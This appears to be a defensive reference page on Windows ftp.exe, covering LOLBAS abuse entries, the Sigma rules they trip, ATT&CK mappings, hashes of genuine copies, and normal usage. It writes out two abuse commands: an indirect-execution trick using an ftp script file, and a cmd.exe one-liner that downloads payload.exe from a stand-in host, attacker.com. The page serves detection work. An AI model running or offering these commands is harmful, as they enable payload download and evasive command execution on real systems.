Identifier / Programs / Windows
ftp.exe
Transfers files to and from a computer running a File Transfer Protocol (ftp) server service. Windows commands reference
LOLBAS Execute, Download 2 Sigma rules name it 3 ATT&CK techniques 2 documented commands 12 known copies with hashes
How ftp.exe is abused
Download T1105 Ingress Tool Transfer
Run by cmd.exe
/cCarries out the command specified by and then exits the command processor. Windows commands reference/sWhen used with /c or /k, triggers special non-parsing rules that strip the first and last quotes (") around the but leaves the rest of the command unchanged. Windows commands reference/vEnables delayed environment variable expansion. Windows commands referenceEach abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for ftp.exe.
2 documented commands
Execute T1202 Indirect Command Execution User privileges
Executes the commands you put inside the text file.
echo !{CMD} > ftpcommands.txt && ftp -s:ftpcommands.txtTrips 2 Sigma rules: mediumPotential Arbitrary Command Execution Via FTP.EXE by Victor Sergeev, oscd.community; lowCMD Shell Output Redirect by frack113
Download T1105 Ingress Tool Transfer User privileges
Download
cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"Trips 2 Sigma rules: mediumPotential Arbitrary Command Execution Via FTP.EXE by Victor Sergeev, oscd.community; lowCMD Shell Output Redirect by frack113
All 2 commands the identifier reads trip a Sigma process-creation rule. These commands and their descriptions are from LOLBAS’s entry for ftp.exe, by Oddvar Moe, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for ftp.exe. The identifier reads each with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.
What detects it
Is it the real ftp.exe?
C:\Windows\system32\C:\Windows\SysWOW64\12 known copies
10.0.22000.1 (WinBuild.160101.0800) · C:\WINDOWS\system32\ftp.exe · signed by Microsoft Windows
0a7059e5a83315eefad5b795bfc1cf735d87a7cd60a1b75f1fdd5f24c4e7f88910.0.22000.1 (WinBuild.160101.0800) · C:\WINDOWS\SysWOW64\ftp.exe · signed by Microsoft Windows
0ec78ea01cfa65e9f86410cec82121113a0cd46b02e7ace78a108c417444ace610.0.19041.1 (WinBuild.160101.0800) · C:\Windows\SysWOW64\ftp.exe · signed by Microsoft Windows
43784d61f7aba93cbd8127251229c66fe37b3af0759ca07e70ca7fa96b13cfb110.0.19041.1 (WinBuild.160101.0800) · C:\Windows\system32\ftp.exe · signed by Microsoft Windows
9728a3b5755a67a4ebe91a04730efcc2cabebacbb41ffca75a71b42502e3d7d510.0.18362.1 (WinBuild.160101.0800) · C:\WINDOWS\SysWOW64\ftp.exe · signed by Microsoft Windows
a0a27b65b1359b659568ed59637f36f216377a7f2066d15db5be7024eb48863d10.0.18362.1 (WinBuild.160101.0800) · C:\WINDOWS\system32\ftp.exe · signed by Microsoft Windows
f2e90d24ac7b15725750a7532ca52c596eab980ca199f7580fd7fa4fb0c351b110.0.17763.1 (WinBuild.160101.0800) · C:\Windows\SysWOW64\ftp.exe · signed by Microsoft Windows
be279f10d7ff4c18d69724ef0eb04c91d8a34aac0db610e638b000991dfb8b0210.0.17763.1 (WinBuild.160101.0800) · C:\Windows\system32\ftp.exe · signed by Microsoft Windows
d7fb0e7e7e6c653e0db554433dfa6aad8be33b99431dd0a31e25943d0efb91f010.0.14393.0 (rs1_release.160715-1616) · C:\Windows\system32\ftp.exe · signed by Microsoft Windows
4d30f463695d25ce3aaf9c51e9b7be4823fbb79b6e31847deb2ba1111755b2d610.0.14393.0 (rs1_release.160715-1616) · C:\Windows\SysWOW64\ftp.exe · signed by Microsoft Windows
b51ba41e045bc3cced03bd690280958f6e79fa615c909cde67a5e416824a342a6.3.9600.16384 (winblue_rtm.130821-1623) · C:\windows\system32\ftp.exe · not signed
094228979e766e41961e4296b0fe3f5d43f28e61a47c03e17c18c07a580080506.3.9600.16384 (winblue_rtm.130821-1623) · C:\windows\SysWOW64\ftp.exe · not signed
736bffd8c2ee02cd432004bbc539ca48bd664f17887b85b4dca51d0a9ea3251fFrom the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.
Everyday use
Connect to a remote FTP server interactively
ftp hostIdentifyLog in as an anonymous user
ftp -A hostIdentify-ASpecifies that any local interface can be used when binding the ftp data connection. Windows commands referenceDisable automatic login upon initial connection
ftp -n hostIdentify-nSuppresses auto-login upon initial connection. Windows commands referenceNone of the 3 examples the identifier reads matches LOLBAS abuse or trips a Sigma process-creation rule.
Options
Show every option of ftp.exe
-vSuppresses display of remote server responses.-dEnables debugging, displaying all commands passed between the FTP client and FTP server.-iDisables interactive prompting during multiple file transfers.-nSuppresses auto-login upon initial connection.-gDisables file name globbing.-sSpecifies a text file that contains ftp commands.-aSpecifies that any local interface can be used when binding the ftp data connection.-xOverrides the default SO_SNDBUF size of 8192.-rOverrides the default SO_RCVBUF size of 8192.-bOverrides the default async buffer count of 3.-wSpecifies the size of the transfer buffer.-?Displays help at the command prompt.